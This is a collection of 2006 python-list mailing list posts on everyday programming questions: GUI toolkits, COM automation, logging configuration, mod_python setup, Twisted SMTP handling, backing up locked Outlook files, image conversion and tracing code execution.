instance attribute 'mops' is whatever you passed when instanciating panel. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From dsa at unilestemg.br Wed Oct 25 12:57:39 2006 From: dsa at unilestemg.br (Douglas Soares de Andrade) Date: Wed, 25 Oct 2006 14:57:39 -0200 Subject: python GUIs comparison (want) In-Reply-To: <1161798424.168371.94390@m73g2000cwd.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <1161790989.759272.49650@b28g2000cwb.googlegroups.com> <1161798424.168371.94390@m73g2000cwd.googlegroups.com> Message-ID: <453F9783.3060102@unilestemg.br> Stephen Eilert escreveu: > BartlebyScrivener wrote: > >> Well, I am woefully unqualified to speak to the general state of Python >> gui frameworks, but I am in a similar situation as the OP, i.e., a >> beginner looking to TRY some easy gui programming in Python. Not being >> a computer science person, just an amateur scripter, I tend to learn >> best from lots of examples. >> >> With all of that as background, I downloaded the latest wxPython demos >> and docs yesterday. I suggest that the OP do the same. The demo.py >> program is an amazing piece of work. It's loaded with specific examples >> which allow you to view the frame or dialog etc, and then look behind >> it to see the code used to create it. >> >> rd >> > > > You can also download wxGlade and ask it to generate the code for you. > You just have to layout the components the way you want it, wxGlade > does the rest. Even though there are tons of wxWidgets components it > does not support, you can put something as a placeholder and just > replace the code later. > > For looks, speed, ease of use (even though it is not Pythonic), > platform compatibility and use of native widgets, my vote goes to > wxPython. If you don't mind adding another layer (as I doubt the > runtime performance suffers much - if at all), there is dabo.ui (thanks > to whoever pointed it out to me). > > PyQT looks good... under KDE, alien under Win32. PyQt4 is already out and trust me... Is it great :o) Phil is doing a great job with it and Detlev (Eric3/4 developer) already released some snapshots of eric4, so the windows python users can expect a great python enviroment in the future. > PyGTK looks good under > Gnome, and acceptable on Win32, even if their widgets do not always act > as Win32 users would expect. > > From kogrover at gmail.com Fri Oct 20 12:08:58 2006 From: kogrover at gmail.com (Kevin Grover) Date: 20 Oct 2006 09:08:58 -0700 Subject: pywin32 COM sort in Excel (late binding fails, early binding works) (+py2exe) In-Reply-To: References: <1161273426.239477.260660@h48g2000cwc.googlegroups.com> Message-ID: <1161360538.376274.176810@h48g2000cwc.googlegroups.com> On Oct 19, 10:09 am, Thomas Heller wrote: > Thomas- Hide quoted text -- Show quoted text - That's it thanks. A quick google search lead me to: http://www.py2exe.org/index.cgi/IncludingTypelibs Cheers - Kevin From gagsl-py at yahoo.com.ar Tue Oct 24 22:50:36 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 24 Oct 2006 23:50:36 -0300 Subject: No subject In-Reply-To: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com> References: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com> Message-ID: <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar> At Tuesday 24/10/2006 23:25, Michael S wrote: >I extended part of my program in C, since that part >was too involved for Python. Now when I import the >module I created and call its functions, I am trying >to feedback some information bac to my wxPython >program. The function runs for a while and I wanted to >update a progress bar, but when I call the function of >my new module, wxPython doesn't respond when wx.Timer >is supposed to fire. Does your extension run on a separate thread? I guess not. So the wxPython code does not have a chance to run. Do it the other way: from your C code, call a Python function which in turn updates the progress bar (and keep it simple!) -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From bearophileHUGS at lycos.com Thu Oct 26 09:01:14 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 26 Oct 2006 06:01:14 -0700 Subject: displaying \n-less prompts in a pythonic way In-Reply-To: References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com> Message-ID: <1161867673.980223.44090@i3g2000cwc.googlegroups.com> Sybren Stuvel: > def prompt(label): > '''Prompts the user, returning the typed text''' > sys.stdout.write(label) > return sys.stdin.readline() Maybe raw_input function may help too. Bye, bearophile From robert.kern at gmail.com Wed Oct 18 12:35:29 2006 From: robert.kern at gmail.com (Robert Kern) Date: Wed, 18 Oct 2006 11:35:29 -0500 Subject: Looking for assignement operator In-Reply-To: <4535e7d8$0$377$426a74cc@news.free.fr> References: <1161158101.890041.122160@k70g2000cwa.googlegroups.com> <4535e7d8$0$377$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Tommi wrote: > (please don't top-post - corrected) >> >> Alexander Eisenhuth wrote: >>> Hello, >>> >>> is there a assignement operator, that i can overwrite? >>> >>> class MyInt: >>> def __init__(self, val): >>> assert(isinstance(val, int)) >>> self._val = val >>> >>> a = MyInt(10) >>> >>> # Here i need to overwrite the assignement operator >>> a = 12 >>> > >> Could the "traits" package be of help? >> >> http://code.enthought.com/traits/ > > How could it help ? It doesn't. (I am an Enthought developer.) -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From bugs at almad.net Thu Oct 5 05:42:57 2006 From: bugs at almad.net (Almad) Date: 5 Oct 2006 02:42:57 -0700 Subject: Multiple calls to logging.config.fileConfig Message-ID: <1160041377.361490.278710@m7g2000cwm.googlegroups.com> Hi, our applications can have plugins as subpackages and I'd like to allow them to use their own logger as well as it's configuration. I thought that best way will be their own configuration file passed to fileConfig. However, I run into problems... 1) It seems that I cannot refer to something from previously loaded files, i.e. I'd like application config file to specify formatters and handlers and plugins only referring them. 2) I'm not sure about "appending" loggers; if I specify [loggers] keys: web and then [loggers] keys: syncml Will web not be overwritten? 3) Finally, I run into "root" problem. In second call, if I specify root logger again: [loggers] keys: root,web (...) [logger_web] level: WARNING qualname: xxx.web handlers: console I'll get Traceback (most recent call last): File "/usr/lib/python2.4/logging/config.py", line 143, in fileConfig llist.remove("root") If I'll set only web as logger, I'll get standard NoSectionFound exception. Any idea how to fix this? It seems that I have to write custom parser merging all files and config logging directly from code, but I'd like to assure that it's the standard way... Regards, Almad From pandyacus.xspam at xspam.sbcglobal.net Sat Oct 28 11:31:45 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Sat, 28 Oct 2006 15:31:45 GMT Subject: PROBLEM with MOD_PYTHON References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> Message-ID: <87slh81mo9.fsf@nandi.2wire.net> "dan84" writes: > I don't understand this error , in the (Apache) errorlog I read this > message : > > [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import > mod_python.apache.\n > [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being > used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib', > '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk', > 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']". > [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter > callback found. > [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler: > Can't get/create interpreter. > > I have Apache/2.0.59 (Win32) mod_python/3.2.10 Python/2.4.3 > I have read all the manuals, but I don't understand where I am wrong. > > thanks so much > Marco. Even if there is nothing Apache specific, doesn't it look odd that the path has 4 backslashes? Even accounting for half of those being added at the time of printing, it would appear that Apache is trying to use the path that contains two backslashes as path separator but there needs to be only one. Chetan From rogue_pedro at yahoo.com Sun Oct 22 17:14:03 2006 From: rogue_pedro at yahoo.com (Simon Forman) Date: 22 Oct 2006 14:14:03 -0700 Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure? In-Reply-To: <1161424930.151657.18530@m7g2000cwm.googlegroups.com> References: <1161424930.151657.18530@m7g2000cwm.googlegroups.com> Message-ID: <1161551642.987513.105590@k70g2000cwa.googlegroups.com> steve wrote: > I thought that when read Guido van Rossum' Python tutorial.What can we > think that? What? From nairarunv at gmail.com Thu Oct 26 05:50:44 2006 From: nairarunv at gmail.com (Arun Nair) Date: 26 Oct 2006 02:50:44 -0700 Subject: Cards deck problem In-Reply-To: References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> Message-ID: <1161856244.275673.79170@m73g2000cwd.googlegroups.com> Im so sorry about that but the lecturer doesnt teaches anything so its become very difficult for me to do it if you guys have any notes on classes it will be very helpfull. and i can try on my own. regards, Arun On Oct 26, 7:47 pm, Ben Finney wrote: > "Arun Nair" writes: > > Can any one help me with this im not getting it even after reading > > books because there is not much of discussion anywherePerhaps the discussion should be between yourself and your teacher, or > the other students in your class. We're not here to do your homework > assignments. > > -- > \ "It is seldom that liberty of any kind is lost all at once." | > `\ -- David Hume | > _o__) | > Ben Finney From jan.bakuwel at int.greenpeace.org Fri Oct 13 12:44:35 2006 From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel) Date: Fri, 13 Oct 2006 18:44:35 +0200 Subject: Newbie: trying to twist my head around twisted (and python) In-Reply-To: References: Message-ID: <12ivgjjsgbq6t31@corp.supernews.com> Jean-Paul Calderone wrote: > The return value of eomReceived is used to determine whether to signal to > the SMTP client whether the message has been accepted. Regardless of your > application logic, if you are taking responsibility for the message, you > should return a successful result. If all of your processing is > synchronous, > then you simply need to return twisted.internet.defer.succeed(None) at the > end of the function. If you have asynchronous processing to do (it does > not > appear as though you do), you will need to return a Deferred which only > fires > once that processing has been completed. There's still a bit of mystery in here for me... I'll be taking responsibility for the message in my code... but perhaps my code encounters a non resolvable error (such as disc full). In that case I would like to be able to signal a failure instead of success. Would the following code do the job "properly"? def eomReceived(self): # message is complete, store it self.lines.append('') # add a trailing newline messageData = '\n'.join(self.lines) emailMessage = message_from_string(messageData) try: processEmail(emailMessage) return defer.succeed(None) except: return defer.fail #end eomReceived thanks, Jan From sjmachin at lexicon.net Wed Oct 4 20:18:14 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 17:18:14 -0700 Subject: can't open chm files all of a sudden In-Reply-To: <4524412c$0$16606$c3e8da3@news.astraweb.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> <4524412c$0$16606$c3e8da3@news.astraweb.com> Message-ID: <1160007493.966719.114780@h48g2000cwc.googlegroups.com> John Salerno wrote: > Keith Perkins wrote: > > > I used HTMLKit when I still used Windows, and liked it a lot. It's really > > a great HTML/PHP, etc. editor, if you can get past the front page. > > That being said (if I remember correctly) hh.exe is a part of htmlkit, and > > may have been the the cause of your problem by making itself the default > > chm reader. (Check your settings under files to see what you have as the > > default reader now. (and sorry, forgot how to do that, it's been almost > > two years since I've had to fiddle with Windows, so I'm not sure of the > > exact place to check for it.)) > > Keith > > Thanks for the response. I checked and hh.exe is the default, but should > it not be? It seems like the official program to open CHM files. hh.exe is the standard Windows CHM opener. Suspicion should be directed at DLLs being replaced by HTMLKit. ********************************************************** *** What is the error message that you get ??? *** ********************************************************** From aum at spam.me.please Sat Oct 7 20:39:29 2006 From: aum at spam.me.please (aum) Date: Sun, 08 Oct 2006 13:39:29 +1300 Subject: ANN: SimpleJSONRPCServer References: Message-ID: On Sun, 08 Oct 2006 10:16:05 +1300, aum wrote: > If any Python honchos here want to raise a PEP for it, I'd support that > fully. Don't worry - I've just posted my own PEP for it. Cheers aum From paul at boddie.org.uk Mon Oct 9 09:36:30 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 9 Oct 2006 06:36:30 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <1160400990.785258.17750@m73g2000cwd.googlegroups.com> Magnus Lycka wrote: > > It seems to me that an obvious advantage with either Roundup > or Trac, is that if the Python project used it, the Python > project would have a significant impact on how this product > developed. Even if the Jira people seem eager to please us, > I'm pretty convinced that it will be easier to get Roundup > or Trac improved to fit our particular needs. Yes, because Roundup and Trac are open source projects: there is no barrier to prevent the users taking the code in a direction appropriate to their own needs. And just to make it clear that I'm not picking on Jira, it should be noted that even with their apparent willingness to make a useful "community" product (and their otherwise remarkable open source credentials), the Launchpad developers can't offer the kinds of assurances implicitly provided by Roundup, Trac or any of their open source brethren. > That's valuable in two ways: > 1) The Python project would get a bug tracker which is > developed with the needs of the Python project as a > prime concern. (Being the major "customer" of a product > has benefits. Jira on the other hand, might get more > and more integrated with other Java stuff that we don't > really care about. As has been said already, there's supposedly no guarantee that people will want to develop Roundup at a hectic tempo in order to satisfy the needs/desires of the Python developers. But then again, other pieces of infrastructure have a high community investment, notably Mailman (which uses Jira as its issue tracker, as it turns out). > 2) We'd help making a good Python product even better, and > probably more widely used, thus spreading the use of > Python even further. It seems to me that with all the fuss about marketing Python [1], instead of ranting about how other products and technologies are stealing all the thunder, one might instead want to start closer to home. In this respect, several opportunities are being missed or squandered either because people think marketing is all about press releases, or they want Python to retain its stealth label (the "competitive advantage" people mention constantly). Take python.org as the place to start. One can claim all one likes about how Web applications aren't special enough to warrant special mentions or coverage in the context of persuading people about Python's advantages, but many people presumably visit python.org and wonder... * How they can develop Web applications using Python in a way they recognise either from intuition or previous experience. Where can they find a good solution and get started quickly? * Whether python.org, as some kind of content platform, is some kind of convenient answer to their own Internet/intranet site project. Can they download the code and run the same kind of thing themselves? The answers aren't too clear to these questions. I've revisited some of the material available via python.org [2] in order to attempt to provide clearer answers to the first question, but the topic of standardisation is currently stagnant (so it's every framework for itself), and the community is split between hyping the most popular frameworks whilst emphasizing the modest achievements that led to WSGI (which doesn't really answer the first question entirely). Meanwhile, despite the python.org codebase presumably running various commercial sites, it would surprise me if there would ever be a convenient downloadable package of that codebase available prominently from python.org itself (even though the components are all openly available). So the Python project - the power behind content management solutions like Zope, Plone and (at a different angle) MoinMoin - offers an incoherent response to the second question. Then, there are the other recommendations under the "Using Python For..." heading - advocacy points to show how Python can be really useful - which mentions under "Software Development" the following: Buildbot, Trac, Roundup and IDEs. If one ignores the current issue tracker debate for a moment and follows the "Software Development" link, one reaches a general Python applications page which mentions amongst other "choices for web development" the CPS project, and following the provided link swiftly delivers another advocacy own-goal: "We're switching to JAVA!" state the CPS people proudly, still blissfully unaware that "Java" isn't an acronym; "Read why" they suggest. It's tempting to label what I've written above as just some opportunistic criticism of the maintenance level of the python.org content, that the core developers should just choose their tools and get on with things, and that this thread has attempted to politicize the decision under discussion from the start. Indeed, as someone who merely browses python-dev, perhaps I shouldn't care how the core developers track their bugs: if they struggle to manage that information in future, why should I care? Well, the reason I should care is related to the reason why the core developers should care about more than purely technical issues: the wider community and the core developers do not exist by themselves in isolation; the well-being of the community is related to how Python is managed and portrayed by the custodians of the language, and the well-being of the development effort is related to how much community effort can be directed towards improving the language and its image. If this were not so, Python would have vanished like many of its contemporaries. Perhaps the decision makers evaluated the above and much more in depth, although us outsiders are not in a position to say, but perhaps the discussion around the decision wouldn't have been so inflammatory in places if there had been an acknowledgement of this "bigger picture" of the community, its influences and that in a large open source project no moderately significant decision is without a political dimension. Paul [1] http://www.artima.com/forums/flat.jsp?forum=106&thread=150515 [2] http://wiki.python.org/moin/WebFrameworks From hanumizzle at gmail.com Sun Oct 8 09:37:17 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 8 Oct 2006 09:37:17 -0400 Subject: need some regular expression help In-Reply-To: References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160258429.883224.285830@i3g2000cwc.googlegroups.com> <1160297390.242124.260770@i3g2000cwc.googlegroups.com> Message-ID: <463ff4860610080637u497e8c87k8fcfcf5d8d131d8e@mail.gmail.com> On 10/8/06, Roy Smith wrote: > "Diez B. Roggisch" wrote: > > Certainly true, and it always gives me a hard time because I don't know > > to which extend a regular expression nowadays might do the job because > > of these extensions. It was so much easier back in the old times.... > > What old times? I've been working with regex for mumble years and there's > always been the problem that every implementation supports a slightly > different syntax. Even back in the "good old days", grep, awk, sed, and ed > all had slightly different flavors. Which grep? Which awk? :) -- Theerasak From matthew_j_warren at hotmail.com Thu Oct 19 11:11:20 2006 From: matthew_j_warren at hotmail.com (MatthewWarren) Date: 19 Oct 2006 08:11:20 -0700 Subject: Determining if a file is locked in Windows In-Reply-To: <1161269072.312305.297430@m73g2000cwd.googlegroups.com> References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com> <1161269072.312305.297430@m73g2000cwd.googlegroups.com> Message-ID: <1161270680.303152.75200@e3g2000cwe.googlegroups.com> elake wrote: > Larry Bates wrote: > > elake wrote: > > > I found this thread about a pst file in Windows being locked and I am > > > having the same issue. > > > > > > > http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1 > > > > > > The problem is that I have a script that can find the pst files on > > > every machine in my network and back them up to a server for safe > > > keeping. The problem is that when Outlook is running it locks the file > > > and will not allow me to copy it to the destination. I am using the > > > shutil module for the copy. > > > > > > Is there a way to first determine if the file is locked and then do the > > > copy if it isn't? I thought about looking to see if Outlook.exe is > > > running but the machines are shared and the process could be running > > > but with a different pst file in use. > > > > > > Thanks in advance > > > > > Try the copy and catch the exception instead. > > > > -Larry Bates > > Larry thanks for your suggestion. this is what I tried: > > #!/usr/bin/env python > > import os, shutil > > path = 'c:\documents and settings\username\Local Settings\Application > Data\Microsoft\Outlook' > > src = 'Outlook.pst' > dst = 'test.pst' > > os.chdir(path) > > try: > shutil.copy2(src, dst) > except IOError: > print 'Must be locked by Outlook' > > print 'Finished' > > The problem is that even though I catch the IOError it overwrites the > dst file and makes it 0kb. This is going to be for backing these files > up and it wont be good to overwrite the backup with a bad copy. > > Is there another way to do this that I am missing. I am still kind of > new to Python. If i could tell that outlook had the file locked before > I tried the copy then I think that it would be prevented. maybe try and open the file for reading first, then if it opens ok, just close it and do the copy? From bkhl at stp.lingfil.uu.se Sun Oct 29 15:37:06 2006 From: bkhl at stp.lingfil.uu.se (=?utf-8?Q?Bj=C3=B6rn_Lindstr=C3=B6m?=) Date: Sun, 29 Oct 2006 21:37:06 +0100 Subject: looping through two list simultenously References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> Message-ID: <878xiy97v1.fsf@killalla.dreaming> "CSUIDL PROGRAMMEr" : > folks I have two lists > > i am trying to loop thorough them simultenously. > > Is there any efficient doing this Try the built-in function zip. >>> zip(['a', 'b', 'c'], [1, 2, 3]) [('a', 1), ('b', 2), ('c', 3)] -- Bj?rn Lindstr?m Student of computational linguistics, Uppsala University, Sweden From fredrik at pythonware.com Mon Oct 2 04:58:04 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 2 Oct 2006 10:58:04 +0200 Subject: windev vs python SOS References: <0001HW.C14424C100B023CEF0488530@news.individual.de><1159632848.993229.58300@m7g2000cwm.googlegroups.com> <4520d2c7$0$2782$636a55ce@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Amanda wrote: > (snip) >> I am always amazed when I meet fanatics!! > > I'm always amazed when I meet PC-Soft's salespersons... isn't there some non-python forum where you can sort this one out ? From onurb at xiludom.gro Wed Oct 18 04:37:42 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 18 Oct 2006 10:37:42 +0200 Subject: Looking for assignement operator In-Reply-To: <1161158101.890041.122160@k70g2000cwa.googlegroups.com> References: <1161158101.890041.122160@k70g2000cwa.googlegroups.com> Message-ID: <4535e7d8$0$377$426a74cc@news.free.fr> Tommi wrote: (please don't top-post - corrected) > > > Alexander Eisenhuth wrote: >> Hello, >> >> is there a assignement operator, that i can overwrite? >> >> class MyInt: >> def __init__(self, val): >> assert(isinstance(val, int)) >> self._val = val >> >> a = MyInt(10) >> >> # Here i need to overwrite the assignement operator >> a = 12 >> > Could the "traits" package be of help? > > http://code.enthought.com/traits/ > How could it help ? -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From nicogrubert at googlemail.com Fri Oct 20 03:49:16 2006 From: nicogrubert at googlemail.com (Nico Grubert) Date: Fri, 20 Oct 2006 09:49:16 +0200 Subject: Convert binary image to JPEG with 72 dpi Message-ID: <33f2ccdb0610200049k48fd16adg1b883fcbb7c58d26@mail.gmail.com> Dear list members, I have the binary content of an image file and it's filename. I neither know the resolution nor the dpi of the image. No I need to convert this binary content into a 72 dpi jpeg image. Furthermore I have to resize the image so neither the width nor the height is bigger than 250 pixels. I'd like to use PIL for this job. Any tips how to do it? Regards, Nico -------------- next part -------------- An HTML attachment was scrubbed... URL: From nospam at domain.tld Fri Oct 27 01:10:21 2006 From: nospam at domain.tld (Stephan Kuhagen) Date: Fri, 27 Oct 2006 07:10:21 +0200 Subject: Tracing the execution of scripts? References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com> Message-ID: "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote: > Basically, is there something that will log every line of Python code > executed, in its order of execution, to a text file so that I can see > what is (or isn't) happening that I am expecting? Python itself can do this for you. A __VERY__ simple approach: |def myCallTrace (frame, event, arg): | tracefile.write('localTrace\n frame: '+str(frame)+'\n event: |'+str(event)+'\n arg: '+str(arg)+'\n') | tracefile.write(' '+str(inspect.getframeinfo(frame))+'\n') | |def myTrace (frame, event, arg): | tracefile.write('globalTrace\n frame: '+str(frame)+'\n event: |'+str(event)+'\n arg: '+str(arg)+'\n') | if event == 'call': | return myCallTrace | |import inspect |import sys | |sys.settrace(myTrace) |tracefile = file('trace.txt', 'w') Insert this in you program and you get a trace of every line of Python-Code executed in the file trace.txt. You must read the documentation of the module inspect and of sys.settrace() to understand, what happens and what it means. Additionally, if it should work with threads, you must take care that every thread gets its own output file. But as a first step to get a trace of execution, this should do it. HTH, Regards Stephan From giles_brown at hotmail.com Wed Oct 11 07:37:59 2006 From: giles_brown at hotmail.com (Giles Brown) Date: 11 Oct 2006 04:37:59 -0700 Subject: Bad Code (that works) help me re-write! References: Message-ID: <1160566679.286427.168840@e3g2000cwe.googlegroups.com> Matthew Warren wrote: > I have the following piece of code, No doubt you will get some kind soul to suggest some things, but if you want really good answers I think you need explain why you want this command file (as opposed to using say a python script itself). Are you attempting to create a simpler syntax than Python? A restricted set of operations? Giles From python at hope.cz Tue Oct 17 04:13:56 2006 From: python at hope.cz (Lad) Date: 17 Oct 2006 01:13:56 -0700 Subject: Any idea how to do this in Python? Message-ID: <1161072836.884393.204810@f16g2000cwb.googlegroups.com> In a web application users can post some information. I would like to link each posting with a "weight of importance" for a user, depending on a keywords in the posting. For example, I know that a user A is interested in Nokia mobiles while user B in Siemens mobiles. So, if a user A is signed, he would see postings with more Nokia information FIRST, while B user will see FIRST information about Siemens mobiles How can be that done in Python? Thank you for any idea. L. From chtaylo3 at gmail.com Thu Oct 19 13:21:25 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Thu, 19 Oct 2006 13:21:25 -0400 Subject: Compile for 64bit RHEL Message-ID: <2590773a0610191021u699fee6at69729a0a482f59c7@mail.gmail.com> Has anyone been able to get python 2.4 to compile properly for x86_64 RHEL? Respectfully, Christopher Taylor From boggom at comcast.net Fri Oct 6 23:21:35 2006 From: boggom at comcast.net (boggom at comcast.net) Date: 6 Oct 2006 20:21:35 -0700 Subject: Graph Theory In-Reply-To: <1160162620.929630.51160@m73g2000cwd.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <1160079341.752297.139110@h48g2000cwc.googlegroups.com> <1160079922.925712.55850@i42g2000cwa.googlegroups.com> <1160086579.492499.38120@m7g2000cwm.googlegroups.com> <1160162620.929630.51160@m73g2000cwd.googlegroups.com> Message-ID: <1160191295.789588.161780@m73g2000cwd.googlegroups.com> Other than reading the reference on the website https://networkx.lanl.gov/reference/networkx/ you can read the code (eg by browsing the svn by pointing your web browser at https://networkx.lanl.gov/browser/networkx/trunk and then look at networkx -> generators -> random_graphs.py) If you are not in interactive python mode, try pydoc networkx.watts_strogatz_graph A great way to explore a python package is to use ipython in interactive mode, then you merely need to type >>> from networkx import * >>> watts_strogatz_graph? and you will get the documentation. diffuser78 at gmail.com wrote: > Is there any documentation avaialbe for networkx ? I want to have an > implementation of random graphs including watts and strogatz graph. From bignose+hates-spam at benfinney.id.au Fri Oct 27 19:33:40 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 28 Oct 2006 09:33:40 +1000 Subject: Handling emails References: <8764e6hex1.fsf@benfinney.id.au> <200610272311.12604.fulvio@tm.net.my> Message-ID: <87bqnxe3l7.fsf@benfinney.id.au> Fulvio writes: > On Friday 27 October 2006 06:48, Ben Finney wrote: > > There is always the option to not send messages to this list using > > that mail server > > Once again sorry for that. I'll take action to switch to another > mailserver. Thank for the advice That would be very much appreciated, thank you. -- \ "Consider the daffodil. And while you're doing that, I'll be | `\ over here, looking through your stuff." -- Jack Handey | _o__) | Ben Finney From fredrik at pythonware.com Thu Oct 19 12:31:09 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 18:31:09 +0200 Subject: Calling functions In-Reply-To: References: Message-ID: Tommy Grav wrote: > I have a small program that goes something like this > > def funcA() : pass > def funcB() : pass > def funcC() : pass > > def determine(f): > t = f() > return t > > What I would like to do is be able to > > n = determine(funcA) > m = determine(funcB) > > But I can't really figure out how to do this really? the code you posted does work, to some extent (it doesn't raise any errors, but since your functions don't contain any "return" statements, they'll return None, and both "n" and "m" will be set to None). what did you expect this to do? From ptmcg at austin.rr._bogus_.com Fri Oct 6 09:27:16 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 06 Oct 2006 13:27:16 GMT Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: "Erik Max Francis" wrote in message news:EbmdnehwrJn_sLvYnZ2dnUVZ_uidnZ2d at speakeasy.net... > Steve Holden wrote: > >> I have to say I find the colour of your socks *much* more interesting. > > Especially what with the skulls and all. > Yeah, where'd you get those socks? (Halloweens a-comin') :) -- Paul From codecraig at gmail.com Tue Oct 17 09:30:32 2006 From: codecraig at gmail.com (abcd) Date: 17 Oct 2006 06:30:32 -0700 Subject: Tertiary Operation Message-ID: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> x = None result = (x is None and "" or str(x)) print result, type(result) --------------- OUTPUT --------------- None y = 5 result = (y is 5 and "it's five" or "it's not five") print result ------------- OUTPUT ------------- it's five ...what's wrong with the first operation I did with x? I was expecting "result" to be an empty string, not the str value of None. From ptmcg at austin.rr._bogus_.com Mon Oct 2 09:31:09 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 02 Oct 2006 13:31:09 GMT Subject: Problem with .next() method adding junk characters. References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> Message-ID: "Fredrik Lundh" wrote in message news:mailman.1076.1159776001.10491.python-list at python.org... > "Rainy" wrote: > >> I'm just curious as to what's happening. I understand that you're not >> supposed to call .next on a file open for writing. But I don't know why >> and how it does what happened here; besides, I've seen the same thing >> happen before when I was doing something else with file >> open/write/close, but I don't remember the specifics. > > C's stdio library require you to call "flush" when switching between > reading and > writing; if you don't, the result is undefined. > > > Sure enough, following the OP's original sequence, with an intervening flush between the writes and next, leaves the file in the expected state: >>> f = file("xyzzy.dat","w") >>> f.write("1\n") >>> f.write("2\n") >>> f.write("3\n") >>> f.flush() >>> f.next() Traceback (most recent call last): File "", line 1, in ? IOError: [Errno 9] Bad file descriptor >>> f.close() >>> f = file("xyzzy.dat") >>> f.next() '1\n' >>> f.next() '2\n' >>> f.next() '3\n' >>> f.next() Traceback (most recent call last): File "", line 1, in ? StopIteration >>> I would guess then that the likely extent of any fix to this "bug" would be documentation to the effect of Fredrik's last comment above. -- Paul From enleverlesX.XmcX at XmclaveauX.com Tue Oct 17 02:21:19 2006 From: enleverlesX.XmcX at XmclaveauX.com (Méta-MCI) Date: Tue, 17 Oct 2006 08:21:19 +0200 Subject: COM Error -- Urgent help References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> Message-ID: <45347682$0$25906$ba4acef3@news.orange.fr> Hi! .func( is not defined... @-salutations -- Michel Claveau From wekoweko at gmail.com Tue Oct 3 07:59:54 2006 From: wekoweko at gmail.com (Weko Altamirano) Date: Tue, 3 Oct 2006 19:59:54 +0800 Subject: Manipulate PDFs Message-ID: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com> Hi Everyone, am a developer using Zope and wanted to know if any of you have ever implemented a pdf generating/creating system using python? This just means mostly manipulating pdfs (create and/or edit) via web. If you guys have any suggestions or recommendations please post, thanks. -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin at v.loewis.de Wed Oct 25 13:34:54 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 19:34:54 +0200 Subject: Python's CRT licensing on Windows <-- FUD In-Reply-To: <1161794422.707799.273200@b28g2000cwb.googlegroups.com> References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com> <1161794422.707799.273200@b28g2000cwb.googlegroups.com> Message-ID: <453FA03E.8070105@v.loewis.de> sturlamolden schrieb: > Is further "distribution" okay if it is only accompanied by the python > runtime DLL (as is the case when using Py2Exe) or should the entire > python-2.4.4.msi from python.org be "distributed"? As Fredrik Lundh says: Ask your lawyer. We cannot really interpret the Microsoft license for you (I can only give it to you in case you don't have it), and I can't formally give you permission to do copy something that Microsoft has the copyright to. If you are asking whether python24.dll should be treated as "Licensee Software": then yes, I believe it is "Licensee 